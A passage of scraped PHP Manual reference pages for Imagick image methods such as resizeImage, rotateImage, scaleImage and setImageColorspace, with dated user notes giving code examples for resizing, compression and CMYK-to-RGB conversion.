        // don't upscale
    } else {
        $image->resizeImage(200,200, imagick::FILTER_LANCZOS, 0.9, true);
    }
?>
Spitfires 04-Mar-2012 06:27
The changelog comment

  "2.1.0 Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling."

is poorly structured and therefore IMO misleading.  Yes for proportional scaling you pass 0 as either parameter... however this is *not* true if you use the optional fit param.  When bestfit == true you must specify a *non-zero* value for both columns and rows.  Note it WILL still scale proportionally e.g.

   Imagick::resizeImage ( 200, 200,  imagick::FILTER_LANCZOS, 1, TRUE)

will resize a 1000x750 image to 200x150

So for proportional resizing:
without "bestfit"
   Imagick::resizeImage ( 200, 0,  imagick::FILTER_LANCZOS, 1)

with "bestfit"
   Imagick::resizeImage ( 200, 200,  imagick::FILTER_LANCZOS, 1, TRUE)
jdhawk at gmail dot com 15-Apr-2011 07:37
In our linux environment, using resizeImage with any filter produced extremely high CPU Utilization (in the range of 40-50%) while doing batch resizing.

We switched to scaleImage, which produces similar results to FILTER_BOX, and CPU Utilization dropped to 2-3%.

Using XHProf to profile the two batch jobs showed amazing decreases in CPU Time, so if you're doing a lot of picture resizing, it might be beneficial to use scaleImage instead of resizeImage, as it seems to be much much more efficient.
michael dot heca at gmail dot com 16-Nov-2009 02:18
Use setImageOpacity(1.0) before resizing, for proper handling of transparency in png and gif.
dennis at gofolo dot com 08-Nov-2009 03:32
Having to do alot of resizing, i needed to know the speeds of the different resize filters.
This was how long it took to resize a 5906x5906 JPEG image to 1181x1181.

FILTER_POINT took: 0.334532976151 seconds
FILTER_BOX took: 0.777871131897 seconds
FILTER_TRIANGLE took: 1.3695909977 seconds
FILTER_HERMITE took: 1.35866093636 seconds
FILTER_HANNING took: 4.88722896576 seconds
FILTER_HAMMING took: 4.88665103912 seconds
FILTER_BLACKMAN took: 4.89026689529 seconds
FILTER_GAUSSIAN took: 1.93553304672 seconds
FILTER_QUADRATIC took: 1.93322920799 seconds
FILTER_CUBIC took: 2.58396601677 seconds
FILTER_CATROM took: 2.58508896828 seconds
FILTER_MITCHELL took: 2.58368492126 seconds
FILTER_LANCZOS took: 3.74232912064 seconds
FILTER_BESSEL took: 4.03305602074 seconds
FILTER_SINC took: 4.90098690987 seconds

I ended up choosing CATROM as it has a very similar result to LANCZOS, but is significantly faster.
andrabr at gmail dot com 25-Aug-2007 01:08
blur:  > 1 is blurry, < 1 is sharp

To create a nice thumbnail (LANCZOS is the slowest filter):

<?php

$thumb = new Imagick();
$thumb->readImage('myimage.gif');    $thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');
$thumb->clear();
$thumb->destroy();

?>

Or, a shorter version of the same:

<?php

$thumb = new Imagick('myimage.gif');

$thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');

$thumb->destroy();

?>


Offsets an image

  • « Imagick::resizeImage
  • Imagick::rotateImage »
  • PHP Manual
  • Imagick
  • Offsets an image

Imagick::rollImage

(PECL imagick 2.0.0)

Imagick::rollImage — Offsets an image

Description

bool Imagick::rollImage ( int $x , int $y )

Offsets an image as defined by x and y.

Parameters

x

The X offset.

y

The Y offset.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Rotates an image

  • « Imagick::rollImage
  • Imagick::roundCorners »
  • PHP Manual
  • Imagick
  • Rotates an image

Imagick::rotateImage

(PECL imagick 2.0.0)

Imagick::rotateImage — Rotates an image

Description

bool Imagick::rotateImage ( mixed $background , float $degrees )

Rotates an image the specified number of degrees. Empty triangles left over from rotating the image are filled with the background color.

Parameters

background

The background color

degrees

Rotation angle, in degrees. The rotation angle is interpreted as the number of degrees to rotate the image clockwise.

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

AlexG 02-Oct-2012 12:56
Transparent

<?php $im->rotateImage(new ImagickPixel('#00000000'), 75); ?>
Baptiste VALTHIER 29-Mar-2011 10:05
You can rotate an jpg image by -13.55° into a transparent png image with :

<?php
$imagick = new Imagick();
$imagick->readImage('my.jpg');
$imagick->rotateImage(new ImagickPixel('none'), -13.55);
$imagick->writeImage('my_rotated.png');
$imagick->clear();
$imagick->destroy();
?>
wjsams at gmail dot com 23-Nov-2008 06:49
If you want to rotate an image by a certain degree you can do this:

<?php
header('content-type: image/jpeg');
$imagick = new Imagick();
$imagick->readImage('castle.jpg');
$imagick->rotateImage(new ImagickPixel(), 90);
print $imagick->getImage();
?>


Rounds image corners

  • « Imagick::rotateImage
  • Imagick::sampleImage »
  • PHP Manual
  • Imagick
  • Rounds image corners

Imagick::roundCorners

(PECL imagick 2.0.0)

Imagick::roundCorners — Rounds image corners

Description

bool Imagick::roundCorners ( float $x_rounding , float $y_rounding [, float $stroke_width = 10 [, float $displace = 5 [, float $size_correction = -6 ]]] )

Rounds image corners. The first two parameters control the amount of rounding and the three last parameters can be used to fine-tune the rounding process. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

x_rounding

x rounding

y_rounding

y rounding

stroke_width

stroke width

displace

image displace

size_correction

size correction

Examples

Example #1 Using Imagick::roundCorners():

Rounds the image corners

<?php

$image = new Imagick();
$image->newPseudoImage(100, 100, "magick:rose");
$image->setImageFormat("png");

$image->roundCorners(5,3);
$image->writeImage("rounded.png");
?>

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Scales an image with pixel sampling

  • « Imagick::roundCorners
  • Imagick::scaleImage »
  • PHP Manual
  • Imagick
  • Scales an image with pixel sampling

Imagick::sampleImage

(PECL imagick 2.0.0)

Imagick::sampleImage — Scales an image with pixel sampling

Description

bool Imagick::sampleImage ( int $columns , int $rows )

Scales an image to the desired dimensions with pixel sampling. Unlike other scaling methods, this method does not introduce any additional color into the scaled image.

Parameters

columns

rows

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Scales the size of an image

  • « Imagick::sampleImage
  • Imagick::segmentImage »
  • PHP Manual
  • Imagick
  • Scales the size of an image

Imagick::scaleImage

(PECL imagick 2.0.0)

Imagick::scaleImage — Scales the size of an image

Description

bool Imagick::scaleImage ( int $cols , int $rows [, bool $bestfit = false ] )

Scales the size of an image to the given dimensions. The other parameter will be calculated if 0 is passed as either param.

Note: The behavior of the parameter bestfit changed in Imagick 3.0.0. Before this version given dimensions 400x400 an image of dimensions 200x150 would be left untouched. In Imagick 3.0.0 and later the image would be scaled up to size 400x300 as this is the "best fit" for the given dimensions. If bestfit parameter is used both width and height must be given.

Parameters

cols

rows

bestfit

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling.

User Contributed Notes

agamemnus at flyingsoft dot pw 16-Mar-2014 12:34
Warning: this will blur your edges in possibly unexpected ways. For better control, use resizeImage, instead.
clickconvert at gmail dot com 09-Nov-2012 06:50
Need to resize portrait and landscape images (and convert to 72ppi)? These will fit an area of 800x600 without distorting, no matter how tall or wide.

<?php
    $img = new Imagick($img_loc.$file);
    $img->setImageResolution(72,72);
    $img->resampleImage(72,72,imagick::FILTER_UNDEFINED,1);
    $img->scaleImage(800,0);
    $d = $img->getImageGeometry();
    $h = $d['height'];
    if($h > 600) {
    $img->scaleImage(0,600);
    $img->writeImage($resized_loc.$file);
    } else {
    $img->writeImage($resized_loc.$file);
    }
    $img->destroy();
?>
peter at icb dot at 22-Sep-2009 02:25
If using the fit-parameter this function sometimes seems not to work when one of the two sizes (width or height) is the same size as the image has. For example:

<?php
$image = new Imagick('800x480.jpg');
$image->scaleImage(640, 480, true);

// $image is still 800x480
?>

You have to calculate the new sizes yourself and use false for $fit in this case.
octave at web dot de 23-Jul-2009 11:57
When using the "fit = true" option, the image will only scale down, but never scale up:

<?php
$im = new Imagick('1600x1200.jpg');

$im->scaleImage(2000, 1500, true); // => 1600x1200

$im->scaleImage(1000, 500, true); // => 666x500
?>
benford at bluhelix dot com 16-Jun-2009 05:38
If anyone finds "The other parameter will be calculated if 0 is passed as either param. " to be a bit confusing, it means approximately this:

<?php
$im = new Imagick('example.jpg');
$im->scaleImage(300, 0);
?>

This scales the image such that it is now 300 pixels wide, and automatically calculates the height to keep the image at the same aspect ratio.

<?php
$im = new Imagick('example.jpg');
$im->scaleImage(0, 300);
?>

Similarly, this example scales the image to make it 300 pixels tall, and the method automatically recalculates the image's height to maintain the aspect ratio.
vincent dot hoen at gmail dot com 02-Aug-2007 03:37
Here is an easy way to resize an animated gif :

$picture = new Imagick('animated_gif.gif');

foreach($picture as $frame){
    $frame->scaleImage($width, $height);
}


Segments an image

  • « Imagick::scaleImage
  • Imagick::separateImageChannel »
  • PHP Manual
  • Imagick
  • Segments an image

Imagick::segmentImage

(No version information available, might only be in Git)

Imagick::segmentImage — Segments an image

Description

public bool Imagick::segmentImage ( int $COLORSPACE , float $cluster_threshold , float $smooth_threshold [, bool $verbose = false ] )

Analyses the image and identifies units that are similar. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

COLORSPACE

One of the COLORSPACE constants.

cluster_threshold

A percentage describing minimum number of pixels contained in hexedra before it is considered valid.

smooth_threshold

Eliminates noise from the histogram.

verbose

Whether to output detailed information about recognised classes.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Separates a channel from the image

  • « Imagick::segmentImage
  • Imagick::sepiaToneImage »
  • PHP Manual
  • Imagick
  • Separates a channel from the image

Imagick::separateImageChannel

(PECL imagick 2.0.0)

Imagick::separateImageChannel — Separates a channel from the image

Description

bool Imagick::separateImageChannel ( int $channel )

Separates a channel from the image and returns a grayscale image. A channel is a particular color component of each pixel in the image.

Parameters

channel

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sepia tones an image

  • « Imagick::separateImageChannel
  • Imagick::setBackgroundColor »
  • PHP Manual
  • Imagick
  • Sepia tones an image

Imagick::sepiaToneImage

(PECL imagick 2.0.0)

Imagick::sepiaToneImage — Sepia tones an image

Description

bool Imagick::sepiaToneImage ( float $threshold )

Applies a special effect to the image, similar to the effect achieved in a photo darkroom by sepia toning. Threshold ranges from 0 to QuantumRange and is a measure of the extent of the sepia toning. A threshold of 80 is a good starting point for a reasonable tone.

Parameters

threshold

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the object's default background color

  • « Imagick::sepiaToneImage
  • Imagick::setColorspace »
  • PHP Manual
  • Imagick
  • Sets the object's default background color

Imagick::setBackgroundColor

(PECL imagick 2.0.0)

Imagick::setBackgroundColor — Sets the object's default background color

Description

bool Imagick::setBackgroundColor ( mixed $background )

Sets the object's default background color.

Parameters

background

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

eleg 28-Feb-2012 11:59
Be cautious and set bgcolor BEFORE importing a SVG with transparency!  :-/

<?php

$im = new Imagick();
$im->setBackgroundColor(new ImagickPixel('transparent'));

$im->readImage('carte_Alain2.svg');

$im->setImageFormat("png32");

header('Content-type: image/png');
echo $im;
?>


Set colorspace

  • « Imagick::setBackgroundColor
  • Imagick::setCompression »
  • PHP Manual
  • Imagick
  • Set colorspace

Imagick::setColorspace

(No version information available, might only be in Git)

Imagick::setColorspace — Set colorspace

Description

bool Imagick::setColorspace ( int $COLORSPACE )

Sets the global colorspace value for the object. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Parameters

COLORSPACE

One of the COLORSPACE constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the object's default compression type

  • « Imagick::setColorspace
  • Imagick::setCompressionQuality »
  • PHP Manual
  • Imagick
  • Sets the object's default compression type

Imagick::setCompression

(PECL imagick 2.0.0)

Imagick::setCompression — Sets the object's default compression type

Description

bool Imagick::setCompression ( int $compression )

Sets the object's default compression type

Parameters

compression

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the object's default compression quality

  • « Imagick::setCompression
  • Imagick::setFilename »
  • PHP Manual
  • Imagick
  • Sets the object's default compression quality

Imagick::setCompressionQuality

(PECL imagick 0.9.10-0.9.9)

Imagick::setCompressionQuality — Sets the object's default compression quality

Description

bool Imagick::setCompressionQuality ( int $quality )

Sets the object's default compression quality.

Parameters

quality

Return Values

Returns TRUE on success.

User Contributed Notes

charles dot hall at sas dot com 03-Aug-2010 08:31
I had to insert a call to "stripImage()" in order to actually see the filesize shrink.

<?php
   $img = new Imagick();
   $img->readImage($src);
   $img->setImageCompression(imagick::COMPRESSION_JPEG);
   $img->setImageCompressionQuality(90);
   $img->stripImage();
   $img->writeImage($dest);
?>
deeps chennai 18-Mar-2010 11:59
A note for people who just couldn't get this working..

With PHP 5.1.6, the below works:

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

However, with higher versions of PHP (I tried on PHP 5.2.10), the code has no effect (and there are no exceptions or warnings thrown by Imagick as well).

The code that works instead is:

<?php
$img->setImageCompression(Imagick::COMPRESSION_JPEG);
$img->setImageCompressionQuality(80);
?>

and this is backwards compatible (Works on PHP 5.1.6 as well as 5.2.10)
nVaux.com 27-Mar-2008 05:24
Sebastian's example works excellent, just one minor spelling mistake, it will give you an error otherwise.

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

I used Sebastians example, and made one that compresses all the images within a directory:

<?php
$images = new Imagick(glob('images/*.jpg'));

foreach($images as $image)
{
    // compression methods, see "Contants"-page for Imagick
    $image->setCompression(imagick::COMPRESSION_JPEG);
    // a value between 1 and 100, 1 = high compression, 100 low compression
    $image->setCompressionQuality(80);
    $image->writeImage();
}

?>
sebastian dot moser at gmail dot com 17-Nov-2007 11:46
Use this example to see how image compression works:

<?php
// load an image
$img = new Imagick("test.jpg");

// compression methods, see "Contants"-page for Imagick
$img->setComression(Imagick::COMPRESSION_JPEG);
// a value between 1 and 100, 1 = high compression, 100 low compression
$img->setComressionQuality(80);

// set content type
header("Content-type: image/jpeg");
// write image
echo $img->getImageBlob();
?>


Sets the filename before you read or write the image

  • « Imagick::setCompressionQuality
  • Imagick::setFirstIterator »
  • PHP Manual
  • Imagick
  • Sets the filename before you read or write the image

Imagick::setFilename

(PECL imagick 2.0.0)

Imagick::setFilename — Sets the filename before you read or write the image

Description

bool Imagick::setFilename ( string $filename )

Sets the filename before you read or write an image file.

Parameters

filename

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the Imagick iterator to the first image

  • « Imagick::setFilename
  • Imagick::setFont »
  • PHP Manual
  • Imagick
  • Sets the Imagick iterator to the first image

Imagick::setFirstIterator

(PECL imagick 2.0.0)

Imagick::setFirstIterator — Sets the Imagick iterator to the first image

Description

bool Imagick::setFirstIterator ( void )

Sets the Imagick iterator to the first image.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets font

  • « Imagick::setFirstIterator
  • Imagick::setFormat »
  • PHP Manual
  • Imagick
  • Sets font

Imagick::setFont

(PECL imagick 2.1.0)

Imagick::setFont — Sets font

Description

bool Imagick::setFont ( string $font )

Sets object's font property. This method can be used for example to set font for caption: pseudo-format. The font needs to be configured in ImageMagick configuration or a file by the name of font must exist. This method should not be confused with ImagickDraw::setFont() which sets the font for a specific ImagickDraw object. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Parameters

font

Font name or a filename

Return Values

Returns TRUE on success.

See Also

  • Imagick::getFont() - Gets font
  • ImagickDraw::setFont() - Sets the fully-specified font to use when annotating with text
  • ImagickDraw::getFont() - Returns the font

Examples

Example #1 A Imagick::setFont() example

Example of using Imagick::setFont

<?php
/* Create new imagick object */
$im = new Imagick();

/* Set the font for the object */
$im->setFont("example.ttf");

/* Create new caption */
$im->newPseudoImage(100, 100, "caption:Hello");

/* Do something with the image */
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the format of the Imagick object

  • « Imagick::setFont
  • Imagick::setGravity »
  • PHP Manual
  • Imagick
  • Sets the format of the Imagick object

Imagick::setFormat

(PECL imagick 2.0.0)

Imagick::setFormat — Sets the format of the Imagick object

Description

bool Imagick::setFormat ( string $format )

Sets the format of the Imagick object.

Parameters

format

Return Values

Returns TRUE on success.

User Contributed Notes

Meinaart 28-Nov-2012 09:56
For format see:
http://www.imagemagick.org/script/formats.php
scott at thebrain dot ca 14-Oct-2008 05:18
don't confuse this function with setImageFormat()


Sets the gravity

  • « Imagick::setFormat
  • Imagick::setImage »
  • PHP Manual
  • Imagick
  • Sets the gravity

Imagick::setGravity

(No version information available, might only be in Git)

Imagick::setGravity — Sets the gravity

Description

bool Imagick::setGravity ( int $gravity )

Sets the global gravity property for the Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.4.0 or newer.

Parameters

gravity

The gravity property. Refer to the list of gravity constants.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Replaces image in the object

  • « Imagick::setGravity
  • Imagick::setImageAlphaChannel »
  • PHP Manual
  • Imagick
  • Replaces image in the object

Imagick::setImage

(PECL imagick 2.0.0)

Imagick::setImage — Replaces image in the object

Description

bool Imagick::setImage ( Imagick $replace )

Replaces the current image sequence with the image from replace object.

Parameters

replace

The replace Imagick object

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 A Imagick::setImage() example

An example of using Imagick::setImage()

<?php
/* Create the objects */
$image = new Imagick('source.jpg');
$replace = new Imagick('replace.jpg');

/* source.jpg is replaced with replace.jpg */
$image->setImage($replace);

/* output the image */
header('Content-type: image/jpeg');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets image alpha channel

  • « Imagick::setImage
  • Imagick::setImageArtifact »
  • PHP Manual
  • Imagick
  • Sets image alpha channel

Imagick::setImageAlphaChannel

(No version information available, might only be in Git)

Imagick::setImageAlphaChannel — Sets image alpha channel

Description

bool Imagick::setImageAlphaChannel ( int $mode )

Activate or deactivate image alpha channel. The mode is one of the Imagick::ALPHACHANNEL_* constants. This method is available if Imagick has been compiled against ImageMagick version 6.3.8 or newer.

Parameters

mode

One of the Imagick::ALPHACHANNEL_* constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::setImageMatte() - Sets the image matte channel
  • Imagick Alpha Channel Constants

User Contributed Notes

There are no user contributed notes for this page.


Set image artifact

  • « Imagick::setImageAlphaChannel
  • Imagick::setImageBackgroundColor »
  • PHP Manual
  • Imagick
  • Set image artifact

Imagick::setImageArtifact

(No version information available, might only be in Git)

Imagick::setImageArtifact — Set image artifact

Description

bool Imagick::setImageArtifact ( string $artifact , string $value )

Associates an artifact with the image. The difference between image properties and image artifacts is that properties are public and artifacts are private. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Parameters

artifact

The name of the artifact

value

The value of the artifact

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::getImageArtifact() - Get image artifact
  • Imagick::deleteImageArtifact() - Delete image artifact

User Contributed Notes

There are no user contributed notes for this page.


Sets the image background color

  • « Imagick::setImageArtifact
  • Imagick::setImageBias »
  • PHP Manual
  • Imagick
  • Sets the image background color

Imagick::setImageBackgroundColor

(PECL imagick 2.0.0)

Imagick::setImageBackgroundColor — Sets the image background color

Description

bool Imagick::setImageBackgroundColor ( mixed $background )

Sets the image background color.

Parameters

background

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

Matthias Zartmann 18-Jun-2014 05:33
Small example to optimize a gray scanned image:
<?php
   $im = new Imagick();
   $im->readImage("~/scaninput_300DPI.tiff");
  //deskew the image
   $im->deskewImage(40);
  //Crop to A4 and scanner pageoffset 50
   $im->cropImage(2480, 3416, 50, 0);
  //Need a Monochrome Image
   $im->setImageColorspace(2);
   $im->thresholdImage(11000);
  //Compressen tiff CCITT Group 4
   $im->setImageCompression(Imagick::COMPRESSION_GROUP4);
   $im->writeimage("~/monochrome_300DPI.tiff");
  //Cleanup
   $im->clear();
   $im->destroy();
?>


Sets the image bias for any method that convolves an image

  • « Imagick::setImageBackgroundColor
  • Imagick::setImageBluePrimary »
  • PHP Manual
  • Imagick
  • Sets the image bias for any method that convolves an image

Imagick::setImageBias

(PECL imagick 2.0.0)

Imagick::setImageBias — Sets the image bias for any method that convolves an image

Description

bool Imagick::setImageBias ( float $bias )

Sets the image bias for any method that convolves an image (e.g. Imagick::ConvolveImage()).

Parameters

bias

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity blue primary point

  • « Imagick::setImageBias
  • Imagick::setImageBorderColor »
  • PHP Manual
  • Imagick
  • Sets the image chromaticity blue primary point

Imagick::setImageBluePrimary

(PECL imagick 2.0.0)

Imagick::setImageBluePrimary — Sets the image chromaticity blue primary point

Description

bool Imagick::setImageBluePrimary ( float $x , float $y )

Sets the image chromaticity blue primary point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image border color

  • « Imagick::setImageBluePrimary
  • Imagick::setImageChannelDepth »
  • PHP Manual
  • Imagick
  • Sets the image border color

Imagick::setImageBorderColor

(PECL imagick 2.0.0)

Imagick::setImageBorderColor — Sets the image border color

Description

bool Imagick::setImageBorderColor ( mixed $border )

Sets the image border color.

Parameters

border

The border color

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the depth of a particular image channel

  • « Imagick::setImageBorderColor
  • Imagick::setImageClipMask »
  • PHP Manual
  • Imagick
  • Sets the depth of a particular image channel

Imagick::setImageChannelDepth

(PECL imagick 2.0.0)

Imagick::setImageChannelDepth — Sets the depth of a particular image channel

Description

bool Imagick::setImageChannelDepth ( int $channel , int $depth )

Sets the depth of a particular image channel.

Parameters

channel

depth

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets image clip mask

  • « Imagick::setImageChannelDepth
  • Imagick::setImageColormapColor »
  • PHP Manual
  • Imagick
  • Sets image clip mask

Imagick::setImageClipMask

(No version information available, might only be in Git)

Imagick::setImageClipMask — Sets image clip mask

Description

bool Imagick::setImageClipMask ( Imagick $clip_mask )

Sets image clip mask from another Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

clip_mask

The Imagick object containing the clip mask

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the color of the specified colormap index

  • « Imagick::setImageClipMask
  • Imagick::setImageColorspace »
  • PHP Manual
  • Imagick
  • Sets the color of the specified colormap index

Imagick::setImageColormapColor

(PECL imagick 2.0.0)

Imagick::setImageColormapColor — Sets the color of the specified colormap index

Description

bool Imagick::setImageColormapColor ( int $index , ImagickPixel $color )

Sets the color of the specified colormap index.

Parameters

index

color

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image colorspace

  • « Imagick::setImageColormapColor
  • Imagick::setImageCompose »
  • PHP Manual
  • Imagick
  • Sets the image colorspace

Imagick::setImageColorspace

(PECL imagick 2.0.0)

Imagick::setImageColorspace — Sets the image colorspace

Description

bool Imagick::setImageColorspace ( int $colorspace )

Sets the image colorspace.

Parameters

colorspace

One of the COLORSPACE constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

kevin.a.florida 16-Jun-2013 12:53
I have a better solution for solving inverted colors on php 5.3.x than posted.  All the other solutions I found darkens the image or messes with the colors.

See below (note: my imagick object is $jpeg)

$range = $jpeg->getQuantumRange();
            $php_vs_arr = preg_split("/\./", phpversion());
            $php_vs = $php_vs_arr[0] . '.' . $php_vs_arr[1];
            if ($jpeg->getImageColorspace() == Imagick::COLORSPACE_CMYK) {

                //make sure cmyk color-space is set correctly
                $jpeg->setImageColorspace(12);

                // then we add an RGB profile
                $icc_rgb = file_get_contents(FRAMEWORK_PATH . DS . 'color' . DS . 'AdobeRGB1998.icc');
                $jpeg->profileImage('icc', $icc_rgb);
                unset($icc_rgb);

                //set color space to rgb
                $jpeg->setImageColorspace(13);

                //fix gamma, hue, saturation, brightness
                if($php_vs < 5.3) {
                    //ADJUST GAMMA BY 20% for 5.2.x
                    $jpeg->levelImage(0, 2.0, $range['quantumRangeString']);
                } else {
                    //php 5.3 hack FOR INVERTED COLORS
                    $jpeg->negateImage(false, Imagick::CHANNEL_ALL);
                }

            }
            $jpeg->stripImage();
            //end convert to RGB=========================|
eth at ethaniel dot com 29-Feb-2012 03:15
When converting from CMYK to RGB using this function, the image can become inverted. To fix this, use a workaround (don't forget to download the .icc files online):

<?php
// don't use this (it inverts the image)
//    $img->setImageColorspace (imagick::COLORSPACE_RGB);

if ($img->getImageColorspace() == Imagick::COLORSPACE_CMYK) {
   $profiles = $img->getImageProfiles('*', false);
   // we're only interested if ICC profile(s) exist
   $has_icc_profile = (array_search('icc', $profiles) !== false);
   // if it doesnt have a CMYK ICC profile, we add one
   if ($has_icc_profile === false) {
       $icc_cmyk = file_get_contents(dirname(__FILE__).'/USWebUncoated.icc');
       $img->profileImage('icc', $icc_cmyk);
       unset($icc_cmyk);
   }
   // then we add an RGB profile
   $icc_rgb = file_get_contents(dirname(__FILE__).'/sRGB_v4_ICC_preference.icc');
   $img->profileImage('icc', $icc_rgb);
   unset($icc_rgb);
}

$img->stripImage (); // this will drop down the size of the image dramatically (removes all profiles)
?>
mettedraq at gmail dot com 01-Jul-2010 09:21
This is how to Monochrome a jpg [on Windows].. since I couldn't find it anywhere else.

<?php
header("Content-type: image/jpeg");

$IMagick = new IMagick('c:\\testing\\fruit.jpg');
$IMagick->setImageColorSpace(Imagick::COLORSPACE_GRAY);

echo $IMagick;
?>
charlie at midsouthhost dot com 07-May-2010 06:45
If your getting strange/bad color rendering from a PDF, after trying the colorspace constants noted by jdstraughan, try other values outside that range.

In one case for me only $image->setImageColorSpace(22) provided useful color. I have found posts elsewhere using values up to 255.
jdstraughan dot com at gmail dot com 26-Sep-2008 09:16
FYI, here is the breakdown for (int $colorspace):

Constants:
0 - UndefinedColorspace
1 - RGBColorspace
2 - GRAYColorspace
3 - TransparentColorspace
4 - OHTAColorspace
5 - LABColorspace
6 - XYZColorspace
7 - YCbCrColorspace
8 - YCCColorspace
9 - YIQColorspace
10 - YPbPrColorspace
11 - YUVColorspace
12 - CMYKColorspace
13 - sRGBColorspace
14 - HSBColorspace
15 - HSLColorspace
16 - HWBColorspace


Sets the image composite operator

  • « Imagick::setImageColorspace
  • Imagick::setImageCompression »
  • PHP Manual
  • Imagick
  • Sets the image composite operator

Imagick::setImageCompose

(PECL imagick 2.0.0)

Imagick::setImageCompose — Sets the image composite operator

Description

bool Imagick::setImageCompose ( int $compose )

Sets the image composite operator, useful for specifying how to composite the image thumbnail when using the Imagick::montageImage() method.

Parameters

compose

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image compression

  • « Imagick::setImageCompose
  • Imagick::setImageCompressionQuality »
  • PHP Manual
  • Imagick
  • Sets the image compression

Imagick::setImageCompression

(PECL imagick 2.0.0)

Imagick::setImageCompression — Sets the image compression

Description

bool Imagick::setImageCompression ( int $compression )

Parameters

compression

One of the COMPRESSION constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

snipes2083 [at] yahoo com 28-Mar-2010 07:03
Above it says "One of the COMPRESSION constants" for the parameters.  For any of you that found this confusing, you can find a list of the constants here:

Predefined Constants
http://www.php.net/manual/en/imagick.constants.php

As an example for working with a jpeg image:

<?php
    $image = 'jpeg_image.jpg';
    $comression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image);
    $im->setImageCompression($compression_type);
?>

This class does not actually compress the images but rather sets the compression type that is going to be used.

If you would like to see how to compress the image see:
Imagick::setImageCompressionQuality


Sets the image compression quality

  • « Imagick::setImageCompression
  • Imagick::setImageDelay »
  • PHP Manual
  • Imagick
  • Sets the image compression quality

Imagick::setImageCompressionQuality

(No version information available, might only be in Git)

Imagick::setImageCompressionQuality — Sets the image compression quality

Description

bool Imagick::setImageCompressionQuality ( int $quality )

Sets the image compression quality.

Parameters

quality

The image compression quality as an integer

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

dylan dot arnold at gmail dot com 23-Aug-2012 12:23
I had strange results when trying to get good png compression.

I used Imagick::COMPRESSION_ZIP

Here are a few file sizes for a few compression levels.

0: 236,100
1: 274,035
9: 258,379
50: 241,282
100: 240,156

Note the best result at 0. Also I got thrown off for a long time trying to get similar results to gimp. Make sure your image depth is set to 8, it appears to be 16 bits per channel, at least for me.

You can check with identify -verbose filename.png

You can also strip a bit more file size with $image->stripImage();
Anonymous 20-Jun-2012 11:56
The default value fot the JPEG compression quality appears to be 86.
snipes2083 [at] yahoo com 28-Mar-2010 08:35
